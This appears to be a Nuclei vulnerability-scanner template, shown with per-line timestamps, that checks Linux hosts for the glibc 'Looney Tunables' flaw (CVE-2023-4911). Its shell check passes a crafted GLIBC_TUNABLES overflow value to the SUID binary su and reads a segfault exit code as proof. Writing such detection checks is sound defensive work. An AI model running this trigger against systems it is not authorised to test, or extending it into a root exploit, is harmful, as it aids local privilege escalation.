2023-10-26 14:04:37 +00:00
id : CVE-2023-4911
info :
2023-11-07 09:04:06 +00:00
name : Looney Tunables Linux - Local Privilege Escalation
2023-10-26 14:04:37 +00:00
author : nybble04
severity : high
description : |
A buffer overflow was discovered in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue could allow a local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when launching binaries with SUID permission to execute code with elevated privileges.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-4911
- https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
- https://www.youtube.com/watch?v=1iV-CD9Apn8
2024-03-04 08:20:22 +00:00
- http://www.openwall.com/lists/oss-security/2023/10/05/1
- http://www.openwall.com/lists/oss-security/2023/10/13/11
2023-10-26 14:04:37 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 7.8
cve-id : CVE-2023-4911
2024-03-04 08:20:22 +00:00
cwe-id : CWE-787,CWE-122
epss-score : 0.0171
epss-percentile : 0.87439
cpe : cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
2023-10-26 14:04:37 +00:00
metadata :
2023-11-07 10:37:30 +00:00
max-request : 1
2024-03-04 08:20:22 +00:00
vendor : gnu
product : glibc
2024-04-08 11:30:07 +00:00
tags : cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu
2023-10-26 14:04:37 +00:00
2023-11-07 09:08:24 +00:00
self-contained : true
2023-10-26 14:04:37 +00:00
code :
- engine :
- sh
- bash
source : |
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
echo $?
2023-10-26 16:14:31 +00:00
2023-10-26 14:04:37 +00:00
matchers :
- type : word
words :
2023-11-07 10:31:03 +00:00
- "139" # Segmentation Fault Exit Code
2024-03-04 09:35:31 +00:00
# digest: 4a0a00473045022100f0ab74cd6ae5323c4a571e6c858cbbb8ced3b3b2b8dbb8d8c65b380a03a28f8302203aced1de4878bced98bb7d6bd296b9187a2d4795325e1f62debb338f363295f5:922c64590222798bb761d5b6d8e72950